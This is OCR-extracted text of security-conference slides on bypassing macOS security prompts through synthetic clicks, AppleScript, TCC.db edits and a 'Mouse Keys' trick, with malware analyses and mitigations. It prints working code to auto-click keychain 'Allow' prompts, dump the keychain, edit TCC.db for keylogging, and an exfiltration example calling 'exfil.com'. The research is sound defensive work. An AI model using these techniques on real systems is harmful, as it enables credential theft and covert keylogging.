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THE TARGETS
'tempting' UI components

digita security



The Attacker's Conundrum

_ alert!

>
‘L B
keychain

kexts

kevlogger
¥y=+099 firewalls |—> @

U many 'useful' actions (e.g. accessing the keychain, loading

- -

a kext, etc.) now generate an alert that (ideally) the user
must explicitly interact with. #security



The Goal
S ./dumpKeychain

//query keychain logic

Af / /bypass
alerts: // pseudo-code

1f (accessAlertWindow)

> @) avoid all together {

s sendClick () ;

/Y I > @ Ql, dismiss (via code)

@ Finder File Edit view Go Window Help

O f COur S e 14 Apple tri e S tO security wants to access key "ids: identity-rsa-
- private-key"” in your keychain.
prevent both these scenarios! B s e
.. .more on this shortly ;) : Always Allow Deny Al

dismiss alert wvia code?!



The Targets é) D
o,

the macOS keychain V4
private keys certificates

Keychains Objective-See

m login & ( private key, RSA, 2,048-bit
iCloud H/ Any
\L”
() System -
|| System Roots
Name Kind Expires Keychain

[Z] com.apple.idms.appleid.prd....57776e6f445a78352f50673d3d certificate Dec 18, 2019 at 9:11:13 PM login =

Category [Z] Developer ID Application: Objective-See, LLC (VBG97UB4TA) certificate Nov 30, 2020 at 9:57:28... login pa S Swo rds au tO f l l l da ta
A All ltems ¢ Objective-See private key -- login
/'," Passwords 2] Mac Developer: patrick wardle (5SKKU32KLJ) certificate Jan 8, 2019 at 12:57:51 PM login
' ¢ Mac Developer: patrick wardle (Objective-See, LLC) private key - login

Secure Notes
i My Certificates n
i Keys
L=l Certificates
[a] 1 3 items

: auth tokens app data
Keychain Access.app

. a.s normal user!

&>

S /usr/bin/security dump-keychain -d login.keychain

keychain: "~/Library/Keychains/login.keychain-db" security wants to use your confidential

information stored in “GitHub - https://
- api.github.com” in your keychain.
B B >

class: "genp"
attributes:
0x00000007 <blob>="GitHub - https://api.github.com"

Always Allow Deny u Allow %

- ———— ————

data: access alerts (UI)

ﬁ"7257b03422bbab65f0e7d22be57c0b944a0ae45d9e"

1
|
)l

dumping keys



The Targets
'Security & Privacy' > 'Accessibility' S

<
.app" would like to control this
computer using accessibility features.

General  FileVault  Firewall  Privacy ! @ Grant access to this application in Security & Privacy
preferences, located in System Preferences.

Location Services Allow the apps below to control your computer. ? Open System Preferences " Deny
" Contacts
L—

|: | Reminders d
i 000

8« Photos

l. J Accessibility

UI events & manipulations

keylogging!

Accessibility Pane er2

"Apps with access to the accessibility API are allowed to manipulate the UIs of other
applications. This gives them the ability to inject events into other processes, and allows
them do pretty much anything you can. They can also log all your keystrokes.'" -superuser.com



The Targets

"User-Approved Kernel Extension Loading"

TEEE =

ﬁ @] get root

SIP/code-sign
'bypass'’ o~

(buggy) kext stil
validly signed

'bring' & load buggy kext

N\
)
@ exploit & disable SIP

run unsigned kernel code, etc

"I got 99 Problems, but Little Snitch
ain’t one!" -Wardle/DefCon '16

"macOS High Sierra introduces a new feature
that requires user approval before loading
new third-party kernel extensions'" -apple.com

I ) Technical Note TN2459:
"User-Approved Kext Loading"

-apple.com

System Extension Blocked

A program tried to load new system extension(s)

signed by jyou want to enable B B
these extensions, open Security & Privacy System

Preferences.

Open Security Preferences OK

'.
i
\

General FileVault Firewall Privacy

A login password has been set for this user Change Password...

A

v Require password 1 minute C after sleep or screen saver begins

Show a message when the screen is locked

Allow apps downloaded from:

System software from developer _ was blocked Allow 0" "
from loading. » &

[_] Click the lock to make changes.

approval required



The Targets
Security Alerts/ (3rd-party) Tools

NN
allall

S nc -1 1337

P

Do you want the application “nc” to accept
incoming network connections?

Clicking Deny may limit the application’s behavior.

;his sgtting can be changed in the Firewall pane of x kernel_service is = ling fileS!
ecurlty & Prlvacy preferences. , |
> Deny L Allow % h proc: /Users/Owned/Library/kernel_service (6114)
— files: /Users/Owned/Documents/logo.psd.encrypted

RansomWhere? /Users/Owned/Documents/novel.txt.encrypted

ﬂ Allow J Terminate

macOS firewall alert

o osxMalware }} E:
installed a launch daemon or agent ransomWhe re ? alert
|
_ |
osxMalware (unsigned)
I process id: 74090
= = * process path: /Users/patrick/Downloads/osxMalware.app/Contents/Mac0S/osxMalware

com.malware.persist.plist (unsigned)
startup file: /Users/patrick/Library/LaunchAgents/com.malware.persist.plist Al l OW
"

startup binary: /usr/bin/malware.bin "
remember Block L Allow ! ‘ )

blockblock alert




(PAST) ATTACKS
alerts & prompts; hackers vs. apple
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digita security :’



The Attacks

applescript

G/.&

UI 'bypass'

attack wvectors

27?7

. )

4 alerts:
| avoid all together || dismiss (via code)




AppleScript

"AppleScript is primarily an inter-application processing system, designed
- to exchange data between and control other applications" -wikipedia.com

in context of remote process!

e
o -]

clicks actions

//firewall bypass
tell application "Safari™"

S cat evil.scpt run

doshellscrlpt "sayhlf

tell application "Finder"
to set visible of process "Safari" to false

osascript wants to make changes.

make new document

I | Enter your password to allow this. e . _ ;
l Il B = > User Name: Patrick Wardle S e t the URL o f do Cumen t 1 to
trusted Password: "https://exfil.com?data=blah"

auth prompt? e o end tell




AppleScript

automated keychain access

security wants to use your confidential
information stored in “GitHub - https://

Bl api.github.com” in your keychain. Al l OW

To allow this, enter the “login” keychain password.

Password:

S security dump-keychain

? Always Allow Deny Allow

class: "genp"
: A attributes:
keychain access e
prompt "acct"<blob>="patrickwardle"
"svce'"<blob>="www.bankofamerica.com"
//keychain bypass ’ password: "hunter2"

// note: only works on older version of macOS
tell application '"System Events"

repeat while exists (processes where name 1s "SecurityAgent")
tell process '"SecurityAgent"
— .

passwords'!

end tell
delay 0.2

end repeat
end tell

clicking 'Allow' wvia AppleScript



AppleScript

automated keychain access (OSX.DevilRobber)

sub 26FA proc near

¥  noar 9
puSh ebp 8§ @noarfromspace m
mov ebp, esp Amazed to see that this OS X Keychain flow
sub esp, 18h was already part of OSX.DevilRobber years
mov [esp+18h+var 18], "./kc dump.sh" ago... so 2011!

_call __system$UNIX2003

thanks @noarfromspace :)
OSX/DevilRobber

S cat kd.sh
#!'/bin/sh

security dump-keychain -d > s dump. txt

[
$ cat kc dump.sh I
[

@) kd. sh

./kd.Sh& B B B N N N N .

for 1 in {1..300} °

do
AppleScript { <No selected element>

osascript kcd.scpt s m m s s = = = = try
done

tell application "System Events"
if (exists process "SecurityAgent") then
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1

end tell Alwa S Al l OW
[ kc dump.sh end tell Y "

€l kcd.scpt {L}




CoreGraphics APIs

. "Core Graphics...includes services for working with display hardware, low-
- level user input events, and the windowing system" -apple

objective-see / sniffMK ® Unwatch~ 15 % Star 67  YFork 19

<> Code Issues 0 Pull requests 0 Projects 0 Wiki Insights Settings

sniff mouse and keyboard events Edit

'sniffMK'
github.com/objective-see/sniffMK

//install & enable CG "event tap"
eventMask = CGEventMaskBit (kCGEventKeyDown)
| CGEventMaskBit (kCGEventKeyUp) ;

CGEventTapCreate (kCGSessionEventTap,
kCGHeadInsertEventTap, 0, eventMask,
eventCallback, NULL) ;

CGEventTapEnable (eventTap, true);

core graphics keylogger
sniffing keys via 'core graphics'



CoreGraphics APIs

post synthetic keyboard & mouse events'

-~
B0 o e .

core graphics

Function Function
CGPostKeyboardEvent CGPostMouseEvent
Synthesizes a low-level keyboard event on the local machine. Synthesizes a low-level mouse-button event on the local machine.
Declaration Declaration
CGError CGPostKeyboardEvent(CGCharCode keyChar, CGKeyCode virtualKey, boolean_t ke CGError CGPostMouseEvent(CGPoint mouseCursorPosition, boolean_t updateMouseCursorf
i i
Il m mm = > Function 4 m m m m |

CGEventPost

Posts a Quartz event into the event stream at a specified location.




CoreGraphics APIs
posting a synthetic 'enter' key press

#import <CoreGraphics/CoreGraphics.h>
const CGKeyCode ENTER KEY = (CGKeyCode) 76;

void pressENTER ()

{
CGPostKeyboardEvent ( (CGCharCode) 0, ENTER KEY, true); -
CGPostKeyboardEvent ( (CGCharCode) 0, ENTER KEY, false);

synthetically generating an 'enter' keypress

Cj perform action
(that triggers alert)

NCY>

@ post a synthetic 'enter'
(to dismiss/allow, etc.)

Deny




CoreGraphics APIs
synthetic mouse events (OSX.FruitFly)

int sub 100001c50(int arg0, int argl)

{

@ Finder File Ediit view Go Window Help

security wants to access key "ids: identity-rsa-
L private-key"” in your keychain.

rbx = CGEventCreateMouseEvent (0x0, rcx, rdx, rcx); h - Do you want to allow access to this item?

CGEventSetIntegerValueField (rbx,
CGEventPost (0x1l, rbx);
CFRelease (rbx) ;

cmd #8
(0,123,456)

# ./sniffMK

event: kCGEventMouseMoved
(x: 123.000000, y: 456.000000)

| — —

6 mouse move (x,V)

Ox1, rl2);

Always Allow Deny A Io*'.'

sub-cmd description
move

1 left click (up & down)
2 left click (up & down)
3 left double click

4 left click (down)

5 left click (up)

6 right click (down)

7 right click (up)

OSX/FruitFly's synthetic
mouse capabilities



CoreGraphics APIs
synthetic keyboard events (OSX.FruitFly)

////iw«kesCGPostKeyboardEvent

AXUIElementPostKeyboardEvent (var 290, 0x0, sub 100001980 (rax) & Oxffff, O0xl);
goto ;

AXUIElementPostKeyboardEvent (var 290, 0x0, sub 100001980 (rax) & Oxffff, 0x0);
goto ;

# sniffMK

event: kCGEventKeyDown
keycode: 0x0/'a’

cmd #16, 65 - ==

# sniffMK

event: kCGEventKeyUp : |
keycode: 0x0/'a' remote typing

cmd #17, 65



CoreGraphics APIs
synthetic mouse events (0SX/Genieo)

Double Click here

$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS >
N

@interface SafariExtensionInstaller : ?

[* 2 0x1000376el */ + getPopupPosition;

Installer

/* 4 0x100037ch53 */ 4+ clickOnInstallButton;
/* 5 0x100037d71 */ + clickOnAllowButtonKeychain;

/% ¢ enieo installer
/* 8 - 0x100038450 */ + clickOnTrustButton; 9

char +[SafariExtensionInstaller clickOnInstallButton] {

(@selector (getPopupPosition)) (&var 40) ;

Installer wants to use your confidential
information stored in “Safari Extensions List” in
your keychain.

rld = CGEventCreateMouseEvent (0x0, 0x5, 0x0, rcx); D e o B ens T e

rl5 = CGEventCreateMouseEvent (0x0, O0x1l, 0x0, rcx);

rbx = CGEventCreateMouseEvent (0x0, 0x2, 0x0, rcx); : Huays Alow pery " "
a ((\)

CGEventPost (0x0, rl4) ; {‘7

CGEventPost (0x0, rl5);

CGEventPost (0x0, rbx) ; extension installation

(safari)



CoreGraphics APIs
synthetic mouse events (pwnsdx/Unsecure)

void doEvent (CGPoint initialMousePosition, CGEventType event) ({
CGEventRef currentEvent = CGEventCreateMouseEvent (NULL, event,
CGPointMake (initialMousePosition.x, initialMousePosition.y), kCGMouseButtonLeft) ;

- CGEventPost (kCGHIDEventTap, currentEvent);n Il I I I = = E =E E E EH = =H =E = = =H = = = = = = = *
\ = = = e =

e

}

(R
void clickOnButton (CGPoint initialMousePosition, CGPoint oldLocation) { &

doEvent (initialMousePosition, kCGEventLeftMouseDown) ;
doEvent (initialMousePosition, kCGEventLeftMouseUp) ;

}
int main(int argc, const char * argv|[]) {

// Little Flocker bypass
if ([kCGWindowOwnerName isEqualToString:@"Little Flocker'"] && [kCGWindowLayer intValue] == 2147483631 &&

[kCGWindowIsOnscreen intValue] == 1)
{
clickOnButton (CGPointMake ( [ [kCGWindowBounds valueForKey:Q@"X"] intValue] + 666, AV produc ts
[ [kCGWindowBounds valueForKey:@"Y"] intValue] + 280), oldLocation);

}

// Little Snitch bypass

if ([kCGWindowName isEqualToString:@"Little Snitch"] &&
[kCGWindowOwnerName isEqualToString:@"Little Snitch Agent'"] &é&
[kCGWindowLayer intValue] == 1490 && [kCGWindowIsOnscreen intValue] == 1)

firewalls

clickOnButton (CGPointMake ([ [kCGWindowBounds valueForKey:@"X"] intValue] + 587,
[ [kCGWindowBounds valueForKey:@"Y"] intValue] + 340), oldLocation);

https://github.com/pwnsdx/Unsecure




UI 'bypass'

A (as we'll see) many UI interfaces are now protected by Apple. However, 1if
8 one can bypass the UI (i.e. direct file i/o) - no alert will be shown?

trusted applications
I would like to control this computer

using accessibility features.

br owser g@) Grant access to this application in Security & Privacy
- e ’ preferences, located in System Preferences.
chat client -~

email client
hacker tool

? Open System Preferences ~ Deny |

» browser
» chat client

» email client
» hacker tool

' add 'hacker tool'



UI 'bypass'
enabling 'assistive access' for keylogging (0OSX.XSILCmd)

3

"a previously unknown variant of the APT backdoor XSLCmd which is designed
to compromise Apple 0OS X systems'" -fireeye (09/2014)

el
reverse shell screen capture keylogging
¥ noar 04/2015 o S\ how can OSX/XSLCmd
@l cnoariromspace 4 keylog without root?

Looks familiar? #rootpipe on VirusTotal on
Sept 5th, 2014. virustotal.com/fr/file/893701

— Vv / - S
1: . ’0\ rootpipe: os/x bug,

t  \ create any file as root!




UI 'bypass'
enabling 'assistive access' for keylogging (0OSX.XSILCmd)

r12 = [Authenticator sharedAuthenticator]; v/ i, rootpipe
rax = [SFAuthorization authorization]; ’ N\
rax = [rax obtainWithRight:"system.preferences"” flags:0x3 error:0x0]; / \

[r12 authenticateUsingAuthorizationSync:rbx];

rbx = [NSDictionary dictionaryWithObject:@(0x124) forKe&:*_NSFilePosixPermi;sioﬁs];
"rax = [NSData dataWithBytes:"a" length:0x1];
'rax = [UserUtilities createFileWithContents:rax path:@"/var/db/.AccessibilityAPIEnabled"” attributes:rbx];
OSX/XSLCmd :
|
User Name: Patrick Wardle I
- B B B B B O O . .épassword: I I = = = = = = = = = [
| > | _
I Cancel OK I keYlOggglng!
| |
| |
. . |
..ﬂ.Enable access for assistive devices n .
&Show Accessibility status in menu bar m i
| |
<“-- =

enable access (via UI)
/var/db/ .AccessibilityAPIEnabled



UI 'bypass'

enabling 'assistive access' for ...7? (Dropbox)

:: "Dropbox didn’t ask for permission to take control of your computer"
- phil stokes

@

O 4 i Security & Privacy

General FileVault Firewall m

Please enter your computer password for Dropbox
to work properly.

33
CE Type your password to allow this. Location Services Allow the apps below to control your computer.

S— =

o e > ‘ Contacts 1 — : 7
|
Password: || Li v 33 Dropbox

Cancel Ol .
“ U Reminders

@ Accessibility
Dropbox Installer B o

~'@\ where was the
"accessibility" prompt?!

"Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/




UI 'bypass'

enabling 'assistive access' for ...7? (Dropbox)

Last login: Fri Aug 26 23:03:59 on ttys@e9

tPhils-iMac:~ tphil$ sudo strings /Library/DropboxHelperTools/Dropbox_u501/dba
ccessperm

Password:

com.getdropbox.dropbox

subject.OU

G7HH3FBCAK

/Library/Application Support/com.apple.TCC/TCC.db

SQL error: %s

UPDATE access SET csreq = ? where client = 'com.getdropbox.dropbox’;
SQL error: failed to prepare query %s

SQL error: failed to finalize query %s

System

Failed to open TCC database: %s

DELETE FROM access WHERE client = 'com.getdropbox.Dropbox';

SELECT COUNT(%) FROM access WHERE client = 'com.getdropbox.dropbox’;
There should be at most one row for Dropbox, got %d

DELETE FROM access WHERE client = 'com.getdropbox.dropbox';

INSERT INTO access (service, client,client_type, allowed, prompt_count)VALUES
('kTCCServiceAccessibility', 'com.getdropbox.dropbox', @, 1, 0);
UPDATE access SET allowed = 1 WHERE client = 'com.getdropbox.dropbox';

/Library/Application Support/
com.apple.TCC/TCC.db

INSERT INTO access
VALUES (' kTCCServiceAccessibility',
'com.getdropbox.dropbox',0,1,0);

strings 1in A SO dropbox 1s 1nserting
'dbaccessperm' © =\ itself directly into
TCC.db. ..

-

"Revealing Dropbox’s Dirty Little Security Hack"

applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/



UI 'bypass'

$ file "/Library/Application Support/com.apple.TCC/TCC.db"

/Library/Application Support/com.apple.TCC/TCC.db: SQLite 3.x database

# fs usage -w -f filesystem | grep -i tcc.db . i —
General  FileVault  Firewall Privacy |
/Library/Application Support/com.apple.TCC/TCC.db-journal
/lerary/Application Support/com ] apple ] TCC/TCC ] db_wal i‘ Location Services Allow the apps below to control your computer.
\!l Contacts |
i r“: Calendars @
L/‘.} Reminders
A - = " 2 Photos
A ~avolds this ;) >
g l@ Accessibility
I would like to control this computer

using accessibility features.

| | | Click the lock to make changes.
| iﬁ Grant access to this application in Security & Privacy

preferences, located in System Preferences.

Open System Preferences )en)

UI, backed by TCC.db

"Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/




Ul

'bypass'’

TCC.db modification (0OSX.ColdRoot)

)

total

com. apple.audio.driver. app

TCC.db Search = Hashes ® Select ~ ® Download ~
File Ratio First sub. Last sub. Vv Times sub. Sources Size I ' S u i
51bcB8efde2602c55fa154a329156eedb6a1b50d87df8887 1c15¢c4053e781da4d 0/59 2017-06-29 2018-02-17 7 6 851.0 KB g
7756e769fdc3f1f0%ae46b544dc77ebd 17:48:29 12:18:45
o=q EN
79196e15f833e0cc2d0cf5f78caBeb5ef4as54575ff63ccB8caBb6e27a9d9f48a2 0/58 2018-02-03 2018-02-03 1 1 2.1 MB
8bbe0f41b285b5bbf5a62d49ccc3f936 12:23:43 12:23:43
oma [ (o £ ) (e packed
c6227ed341079¢c13edcbbc26d373e8cbec7d4ff43e11f09816264b41ab510c547 0/58 2018-01-26 2018-01-26 3 1 4.6 MB
04274c21ba229%ee7b330abebdd826bbb 15:48:20 15:48:53
®EQ | mac-app | zip
32d0f28866a0fa5e8b4519f8df2fc35b21f8773d41f071ed618679cd6fae7bc? 0/59 2018-01-12 2018-01-12 2 1 2.3 MB
27d9f80a633e792e9217a4de38b49fe2 12:25:12 12:25:12
SE LN ccoo [ cortane-macho [ ignea | password
i c20980d3971923a0795662420063528a43dd533d07565eb4639%ee8c0cchb77fdf 0/ 60 2018-01-05 2018-01-05
8c3bbf5ebc86f1141c38e57084c71d0f 04:54:02 04:54:02

CF 1ol contains-macho | mac-app | zip

__const:001D2804 "touch /private/var/db/.AccessibilityAPIEnabled && sqglite3 \"/Library/

Application Support/com.apple.TCC/TCC.db\" \"INSERT or REPLACE INTO access (service,
client, client type, allowed, prompt count) VALUES ('kTCCServiceAccessibility'....

'TCC.db'

reference. ..



UI 'bypass'
TCC.db modification (0OSX.ColdRoot)

com.apple.audio.driver2 wants to make changes.

Enter your password to allow this. . . .
wel General FileVault  Firewall Privacy

User Name: user

Password:

Location Services Allow the apps below to control your computer.

Cance OK @ Contacts e - . : —.ﬁ -

auth prompt

—_——

117 | Calendars
Reminders

Photos

@ Accessibility

Analytics

accessibly access

$ cat /private/var/tmp/runme.sh

#!'/bin/sh

touch /private/var/db/.AccessibilityAPIEnabled &é&

sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db" "INSERT or
REPLACE INTO access (service, client, client type, allowed, prompt count)
VALUES ('kTCCServiceAccessibility', 'com.apple.audio.driver', 0, 1, 0);"

users-Mac:.~ user$ tail -n 1 -f /private/var/tmp/adobe logs. log
[enter]

bankofam[down]

[tab]

]

e0e® - il

% Personal Small Business Wealth Management Businesses & Institutions <%~ About Us

| BankofAmerica %7

Savings Credit Cards

Checking Home Loans Auto Loans Inve

TAWA®

@ Save Online ID Bank of America Core Checking® and Bank of Al

make it easier to manage your financial life.

Get started

B e L , WA AR
g E . L Sedgial S feng
=Ty s .

Sign In

Online ID? Passcode?

Security & Help Enroll

Forgot ‘ Forgot

Open an Account

9 Find your closest financial
center or ATM =

E Schedule an Appointment

Compare checking accounts v




MITIGATIONS

Apple (et.

al) protect the UI

digita security



Blocking AppleScript UI Interactions

security wants to use your confidential
information stored in “GitHub - https://

| api.github.com” in your keychain.
L]

To allow this, enter the “login” keychain password.

“Terminal” would like to control this computer
using accessibility features.

Password: o Grant access to this application in Security & Privacy

preferences, located in System Preferences.

? Always Allow Deny Allow

Open System Preferences Deny

OS alert

tell process '"SecurityAgent"
click button "Allow" ....
end tell

try click... _ tced access check?

S log show
tced PID[44854] is checking access for target PID[44855]
tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight unknown

execution error: System Events got an error: osascript i1s not allowed assistive access. (-1719)

log messages



Securit y & Privac y
Genera | FileVaul Firewall izl
“Terminal” would like to control this computer u Location Services Allow the apps below to control your computer.
using accessibility features.
U Grant access to this application in Security & Privacy _’f_ Contacts _
— preferences, located in System Preferences. _ . L
T'T?" Calend
Open System Preferences H Deny -
"',:5 Remind
1 & Phot
A m = = -> (@9) Accessibility
+ J—

Q Analytics

tced, checks TCC.db
)= Ju“ N
. Schema Data Query Structure
tccd 1s an OS daemon that manages corvice - S [ E—
. Sk KTCCServiceAccessibility com.apple.Termina 0 | O
the privacy database, TCC.db * :
TCC.db

# fs usage -w -f filesystem | grep tccd

RdData /Library/Application Support/com.apple.TCC/TCC.db tccd

open /Applications/Utilities/Terminal.app/Contents/MacOS/Terminal tccd
access /Applications/Utilities/Terminal.app/Contents/ CodeSignature tccd

WrData /Library/Application Support/com.apple.TCC/TCC.db tccd
tccd interactions with TCC.db




Blocking Core Graphic Events

i O O Ol Desktop — -bash — 134x33
i3 ‘i‘: users—-Mac:Desktop user$% ./clickMe B12.816406 390.968758

NEo b e security wants to use your confidential
il el | N information stored in "Safari Forms AutoFill” in
: i | your keychain.

Do you want to allow access to this item?

Always Allow Deny Allow

password
prompt

Core Graphics events may now trigger an authentication prompt, or
be ignored when sent to 'protected' OS alerts!



Blocking Core Graphic Events

default 08:52:57.441538 -1000 tcecd PID[209] is checking access for target PID[25349]

) — ] |
thesizing events |

error 08:52:57.657628 -1000 WindowServer Sender is prohibited from syn

int post filtered event tap data(int arg0, int argl, int arg2, int arg3, int arg4, int arg)b)

if (CGXSenderCanSynthesizeEvents() == 0x0) goto

if (os log type enabled(* default log, 0x10) != 0x0) ({
rbx = * default log;

_o0s log error impl(..., rbx, 0x10, "Sender is prohibited from synthesizing events",...);

}

int CGXSenderCanSynthesizeEvents () ({ /**

@brief Access control check for software HID control

— — — = == —— = e —

rax =‘: sandbox check by audit token("hid-control", 0x0, rdx, rdx);| =m m ->

K

@param cred Subject credential

- - - ———— Determine whether the subject identified by the credential can
control the HID (Human Interface Device) subsystem, such as to

post synthetic keypresses, pointer movement and clicks.

user-mode check:
- return Return @ if access is granted, or an appropriate value
'CGXSenderCanSynthesizeEvents' :

errno.
*/
typedef int mpo iokit check hid control t(kauth_cred t);

kernel-mode check:
'mpo 1okit check hid control t'



Protecting TCC.db |
_ SIP ==no Keylogging!

cmp byte ptr [eax+38h], O

Jjz short accessibilityError

mov cl, O

lea edx, "/private/var/tmp/"

lea eax, "Accessibility OK "

call _DEBUGUNIT $$ LOGKEYSANSISTRINGSANSISTRINGSBOOLEAN

mov edx, 1

mov eax, ds: ( _VMT SKEYLOSER $$ TKEYLOGGERTHREAD ptr - 11D95h) [ebx]
call _KEYLOSERS STKEYLOGGERTHREAD $ $$ CREATESSTKEYLOGGERTHREAD
Jmp short continue

accessibilityError:

mov cl, O

lea edx, "/private/var/tmp/tmp34322gsdlj.log"

lea eax, "Accessibility Error "

call _DEBUGUNIT_§$_LOGKEY$ANSISTRING$ANSISTRING$BOOLEAN

TCC.db OSX/Coldroot

S 1ls -lartO "/Library/Application Support/com.apple.TCC/TCC.db"

-rw-r—--r-- 1 root wheel | restricted |

TCC.db; now protected by SIP



Summarizing Apple's Protections

@ filter

require 'synthetic events'

'accessilibility
rights'

SecurityAgent

Available for: OS X El Capitan 10.11

Impact: A malicious application can programmatically control keychain

AppleScript CoreGraphics sccss prompt

Description: A method existed for applications to create synthetic clicks
on keychain prompts. This was addressed by disabling synthetic clicks for
keychain access windows.

CVE-ID

CVE-2015-5943

protect privacy
database (TCC.db)

with SIP _ think 3rd-party security products..

though, only 'OS-security-relevant'
windows are protected!?

UI 'bypass'



3rd-party Protection
BlockBlock

m osxMalware }] E:
installed a launch daemon or agent

osxMalware (unsigned)
process id: 74090

process path: /Users/patrick/Downloads/osxMalware.app/Contents/Mac0S/osxMalware

com.malware.persist.plist (unsigned)

startup file: /Users/patrick/Library/LaunchAgents/com.malware.persist.plist

user click

startup binary: /usr/bin/malware.bin
" ¢fﬂl\» (1] (ﬂl\» -
, °
remember Block Allo ‘ P l d ° O
y
4

uid: O

- (void) mouseDown: ( *)event

{

//get event's pid & uid

processID = CGEventGetIntegerValueField(event.CGEvent, kCGEventSourceUnixProcesslID)
processUID = CGEventGetIntegerValueField (event.CGEvent, kCGEventSourceUserlD)

//block if:

// a) not: root, or uid (root) or uid (_hidd)

// b) not: not an apple-signed binary

if( (0 '= processID) && (0 '= processUID) && (HID UID != processUID) &é&
(YES '= binary.isApple) )

{
//bail
logMsg (LOG_ERR, ) ;
return;

}

//allow

[super mouseDown:event];



3rd-party Protection
LittleSnitch (firewall)

@ Terminal Shell Edit View Window Help Lo Thuz2:1e6PM Q =

@ O 1) Desktop — -bash — 127x37

users-Mac:Desktop user$ ./clickMe 789.156250 487.566406

nsurlsessiond

wants to connect to api-glb-lax.smoot.apple.com

s

Until Logout v

Any Connection

* Only domain apple.com ¢

Allow




3rd-party Protection
. . B} kCGEventSourceStatelID
L l t tl e S n l tCh ( f l rewa l l ) Key to access a field that contains the event source state ID used to create this event.

kCGEventSourceStatelID

char -[NSEvent isSimulated]{
rbx self;
rax [self typel;

//type of event (mouse/keyboard?)
if ((rax <= Oxb) && (!'(BIT TEST(0xc06, rax)))) {

//get cg event
rbx = sub_10003034b(rbx);

//check 'kCGEventSourceStateID' (0x2d) and 'kCGEventSourceUnixProcessID' (0x29)
if (((rbx != 0x0) && (CGEventGetIntegerValueField(rbx, 0x2d) != 0x1l)) && (CGEventGetIntegerValueField(rbx, 0x29) != getpid())) {

//get path
rbx = sub_10003039e(rbx);

//exceptions for 'ScreensharingAgent' and 'AppleVNCServer'
if ([sub_100030478() containsObject:rbx] !'= 0x0) {

rex = 0x0;
}
else {
rex = 0x1;
}
}
else {
rcx = 0x0;
}

}

rax = rcx & Oxff;
return rax;

Little Snitch's synthetic event detection
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The Goal
bypass Apple's UI protections

I5 trying to a.ccess O D
(stutf>

keycha:l.n kexts
allow O t

_ bypass apple’s protections

‘.’ target: High Sierra
v privs: Normal user (no root)
\ goal: Programmatically interact with any OS UI prompt




'"Mouse Keys' A\ Will Apple 'allow'?!
your keyboard is now the mouse ©

"you can move the mouse pointer
and press the mouse button using
the keyboard" -apple

~ click 1 or5

mMacOS Sierra: Control the pointer using

MOUSQ KeyS JL JL JL JL r‘ 1 ( 1 ( "

s t &

1 7 [ 8 ] 9 L

(%) =4 5 6 =

[ S

When Mouse Keys is on, you can move the mouse pointer and press the mouse button using the keyboard or [ 1 1 |

numeric keypad. [ K

To quickly turn Mouse Keys on or off using the Accessibility Options shortcut panel, press Option-Command-F5 ¢
(or if your Mac has a Touch Bar, quickly press Touch ID three times). You can also select or deselect the checkbox

in the Mouse & Trackpad pane of Accessibility preferences. ] [ M

o

J
£

To open the pane, choose Apple menu > System Preferences, click Accessibility, then click Mouse & Trackpad.

| % mouse —p keyboard
apple docs mappings



@ Enabling Mouse Keys

//enable 'mouse keys'
void enableMK (float X, float Y) {

//apple script
NSAppleScript* scriptObject =
4- - - [ [NSAppleScript alloc] initWithSource:
@"tell application \"System Preferences\"\n" \
"activate\n" \

@b Audio "reveal anchor \"Mouse\" of pane id \"com.apple.preference.universalaccess\"\n" \

Interacting Slow Fast "end tell"];
v Spring-loading delay:

. . // = == = = _____ = .
g Descriptions (\ Mouse Keys allows the mouse pointer to be controlled using the
| keyboard number pad.

a Captions %nable Mouse Keys Options...

Hearing

Double-click speed:

&  Dictation Short | Long //exec
@ Siri Ignore built-in trackpad when mouse or wireless trackpad [scriptObject executeAndReturnError:nil];
is present
sleep (1) ;
= Mouse & Trackpad
u Switch Control Trackpad Options... Mouse Options... / /Cllcky Clley
Gl ©W'CN LONTO CGPostMouseEvent (CGPointMake (X, Y), true, 1, true);
CGPostMouseEvent (CGPointMake (X, Y), true, 1, false);
Show Accessibility status in menu bar ?

return;

enabling 'Mouse Keys' 1in code
ll@ll

click:
'"Enable Mouse Keys'

(

A

launch: open:
System Preferences Accessibility pane,
and show Mouse anchor



® - Debug — mouseKeys — 113x16

Patricks—MacBook—Pro:Debug patrick$ ./mouseKeys
enabling mouse keys




B Sending a click

//click via mouse key
void clickAllow(float X, float Y)

{

//move mouse

= Click a mouse button:

With a numeric keypad: Press 5 on the keypad.

CGEventPost (kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved, CGPointMake (X, Y), kCGMouseButtonLeft));

//apple script

NSAppleScript* scriptObject = [[NSAppleScript alloc] initWithSource:
@"tell application \"System Events\" to key code 87\n"];

//exec
[scriptObject executeAndReturnError:nil];

sending a synthetic click

note: keypad 5: key code 87

)

the key press also
@ generates a 'mouse' event

p that apple does not block!!

# ./sniffMK

event: key down
keycode: 0x57/87/5

event: key up
keycode: 0x57/87/5

event: left mouse down
(x: 146.207031, y: 49.777344) = =

event: left mouse up
(x: 146.207031, y: 49.777344) = =




WEAPONIZATION
time to play!

) Z N
A (%L -
| - —— 3% 1 o L
L_b.—r--'—-’A\'. <
_‘\‘Aj ‘;‘ S ) L= : .~

R
\..\:\\»:.“

digita security




Dumping the Keychain

£

private keys $ /usr/bin/security dump-keychain -d login.keychain

class: "genp"

[::::] keychain: "~/Library/Keychains/login.keychain-db"

attributes:
passwords 0x00000007 <blob>="GitHub - https://api.github.com"

N PP e

‘"7257b03422bbab65f0e7d22be57cOb944a0ae45d9e"

auth tokens

security wants to use your confidential
information stored in “GitHub - https://

- api.github.com” in your keychain.

Always Allow el A'@ @

mouse click to 'allow'




Dumping the Keychain

Forbes #CyberSecurity

SEP 25, 2017 @ 11:05 AM

Nasty Password-Piltering Hack Ruins Apple
High Sierra Launch

"svce"<blob>="Safari Session State Key"
i L @ keychainStealer File Edit Format View Window Help

data:

"+30509QUnwSJ)1dzCtMaGuw=="

keychain: "/Users/user/Library/Keychains/login.keychaii 0@ Window

version: 512 High Sierra @day

class: "inet” ...a suggestion: a mac0S bug bounty program (for charity!)

attributes:
